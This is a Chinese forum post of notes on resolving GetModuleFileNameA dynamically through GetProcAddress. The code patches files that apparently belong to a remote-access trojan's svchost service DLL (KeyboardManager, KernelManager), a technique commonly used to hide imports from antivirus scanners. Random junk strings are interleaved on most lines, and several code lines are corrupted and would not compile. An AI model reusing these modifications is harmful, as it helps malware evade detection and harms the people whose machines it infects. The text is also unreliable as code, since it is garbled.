[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
* J+ ]& r4 w) Y- L8 H, L, Osvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：
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#if _MSC_VER>1000
( R8 i- ]0 {3 }! N  a' B* Y, s: _& u4 u#pragma once  F' p  v6 `' M- B* x
#endif //_MSC_VER>1000& @/ |: T" n' B1 u" B% |, F; R3 {
#include<windows.h>$ B9 n+ A. M6 l: t% v  _+ h. r1 D- [
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);* P" O, n4 F+ N; D2 E
class DTDY
4 ^+ B, U4 v/ y{
2 o, h$ g8 s5 w; N# Ipublic:
8 N5 @" B. I: d+ S8 sDTDY();3 U) |/ k& u4 H5 f3 x
virtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;
) f) J  s2 J- cstatic BOOL FunInitiallization();
3 ]' i4 c3 @# s6 S* ]) B4 t  a" @0 R};
% r% N, a7 l5 S0 E# m* U' Z( z#endif
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- H$ Q& E8 a1 N( P& ?0 P" aDTDY.cpp:
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- r8 `7 z4 k# _" \, }0 ]#include "DTDY.h"
( \# s. D* {4 n9 S0 d. a& {  SpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;+ S: o( M" i8 Y# K0 ^( Y
DTDY:TDY()
' x# U; y  m; l% l+ Q{
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DTDY::~DTDY()
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}
7 N7 {. H7 d1 @: k! BBOOL DTDY::FunInitiallization()) o5 z4 c! o# v4 c, ^  K- F; a) Z
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HMODULE hModule=LoadLibrary("kernel32.dll");3 B( U6 H* d5 r8 v
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
6 s2 ?3 |9 k- z, Zif(!MyGetModuleFileName=) return FALSE;
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return TRUE;2 u0 w6 m% C5 L% q8 x3 _, v% f
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& `$ ~: d" @9 h7 psvchost.cpp:2 k6 f0 p- u" H# K" w

( R" j1 f5 d  W6 p) f#include "DTDY.h"
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. P8 G1 p( E9 q2 y  FBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)! ^4 T7 J/ B' I! H: `
{- G; ]) c- O7 e2 F0 n: [) i' e! |
switch(ul_reason_for_call)9 C7 c( }, Q7 M& D! \" d& P
{
; a/ f, ?7 Z( m7 L+ _4 o/ S1 N: xcase DLL_PROCESS_ATTACH:2 [  i+ D" j5 c, E4 o- [0 i
if(!DTDY::FunInitiallization()) return FALSE;
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9 y0 M5 ]4 L* |/ Abreak;
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}
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) j% z& m  [, i. W& X! kGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def' G/ f* R/ s8 `5 o/ i8 z
改写为! G; x2 W1 x* L0 L& h- Z
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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' W# I0 B4 a3 U  l9 \: ]KernelManager.cpp:
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#include "../DTDY.h"
+ k4 W( m5 g8 g. J1 }- R* rGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));" P% u$ ]- v; z9 x5 w. }: U
改写为+ {( U- f4 ]9 ~
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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